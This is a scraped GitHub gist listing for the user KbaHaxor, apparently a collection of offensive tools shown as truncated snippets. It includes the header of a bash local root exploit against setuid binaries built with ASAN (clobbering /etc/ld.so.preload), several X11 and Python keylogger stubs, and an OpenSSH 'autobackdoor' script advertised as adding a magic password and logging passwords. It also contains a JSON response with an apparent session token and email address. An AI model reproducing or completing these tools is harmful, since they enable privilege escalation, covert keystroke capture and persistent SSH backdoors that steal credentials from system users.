Skip to content

Instantly share code, notes, and snippets.

View KbaHaxor's full-sized avatar
💭
hunting

Tuan Anh Nguyen KbaHaxor

💭
hunting
View GitHub Profile
#!/bin/bash
# unsanitary.sh - ASAN/SUID Local Root Exploit
# Exploits er, unsanitized env var passing in ASAN
# which leads to file clobbering as root when executing
# setuid root binaries compiled with ASAN.
# Uses an overwrite of /etc/ld.so.preload to get root on
# a vulnerable system. Supply your own target binary to
# use for exploitation.
# Implements the bug found here: http://seclists.org/oss-sec/2016/q1/363
# Video of Exploitation: https://www.youtube.com/watch?v=jhSIm3auQMk
@KbaHaxor
KbaHaxor / x11 keylog
Created September 22, 2016 08:32
Test x11 keylog
#include <X11/X.h>
#include <X11/Xlib.h>
#include <X11/Xutil.h>
#include <stdio.h>
#include <ctype.h>
int main ()
{
Display* d = XOpenDisplay(NULL);
@KbaHaxor
KbaHaxor / gist:985725fe22ff9ca2a8f3b124ae34f9f5
Created September 22, 2016 08:33 — forked from bavardage/gist:939140
POC Linux Keylogger
#!/usr/bin/env python
import re, collections
from subprocess import *
def sanitize_keybinding(binding):
d = {'space': ' ',
'apostrophe': "'",
'BackSpace': ' (<-)',
'Return': '↵ \n',
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>
#include <signal.h>
#include <string.h>
#include <unistd.h> // for usleep() only
#include <sys/time.h>
#include <sys/types.h>
#include <time.h>
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <netdb.h>
#include <string.h>
#include <netinet/in.h>
#include <X11/X.h>
#include <X11/Xlib.h>
#include <X11/Intrinsic.h>
#include <X11/StringDefs.h>
{
"retcode":0,
"retmsg":"Thành công",
"data":{
"uid":"11423495",
"ipv4":"14.xxxx",
"indulge":1,
"uname":"abcd@gmail.com",
"KL_SSO":"SSmHP-bjQ1fmRZU8XRA7joHFh.doX14XEjYOYR7yzkJG-sD.TCdwr89tzzY1hUtRAzwxVHi3RZVo6YprSaunTh9.Ldr.Vc-9ciedGZ.8h6USkiVGY1E_NfmwbAtInVMLtQExL4EoheAXkcbhd7asgtYEQMO3kxRwbOd2O-FHIB40",
@KbaHaxor
KbaHaxor / xkey.c
Created September 23, 2016 10:13
xkey
#include <stdio.h>
#include <X11/X.h>
#include <X11/Xlib.h>
#include <X11/Intrinsic.h>
#include <X11/StringDefs.h>
#include <X11/Xutil.h>
#include <X11/Shell.h>
char *TranslateKeyCode(XEvent *ev);
@KbaHaxor
KbaHaxor / x1.cpp
Created September 26, 2016 07:55
x111
#include <stdio.h>
#include <X11/X.h>
#include <X11/Xlib.h>
#include <X11/Intrinsic.h>
#include <X11/StringDefs.h>
#include <X11/Xutil.h>
#include <X11/Shell.h>
char *TranslateKeyCode(XEvent *ev);
@KbaHaxor
KbaHaxor / openssh-autobackdoor.bash
Created October 5, 2016 08:53 — forked from eyecatchup/openssh-autobackdoor.bash
This script provides OpenSSH backdoor functionality with a magic password and logs passwords as well. It leverages the same basic idea behind common OpenSSH patches but this script attempts to make the process version agnostic. Use at your own risk.
#!/bin/bash
# ============================================
# satyr's openssh autobackdooring doohicky v0.-1
# ImpendingSatyr@gmail.com
# ============================================
# USAGE:
# Run this script with no args and it'll prompt for the "Magic" password and location to log passwords to (incoming and outgoing).
# If you give the location that passwords will be logged to as an arg, this script will try to automate almost everything
# (Like common openssh compiling problems, such as missing pam, kerberos, zlib, openssl-devel, etc.
# [it'll install them via apt or yum, whichever is available]).
@KbaHaxor
KbaHaxor / get_ppid_and_name.c
Created October 6, 2016 07:16 — forked from fclairamb/get_ppid_and_name.c
posix: Get parent process id and name
#ifdef SHELL
gcc -Wall -Werror $0 && ./a.out
exit $?
#endif
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>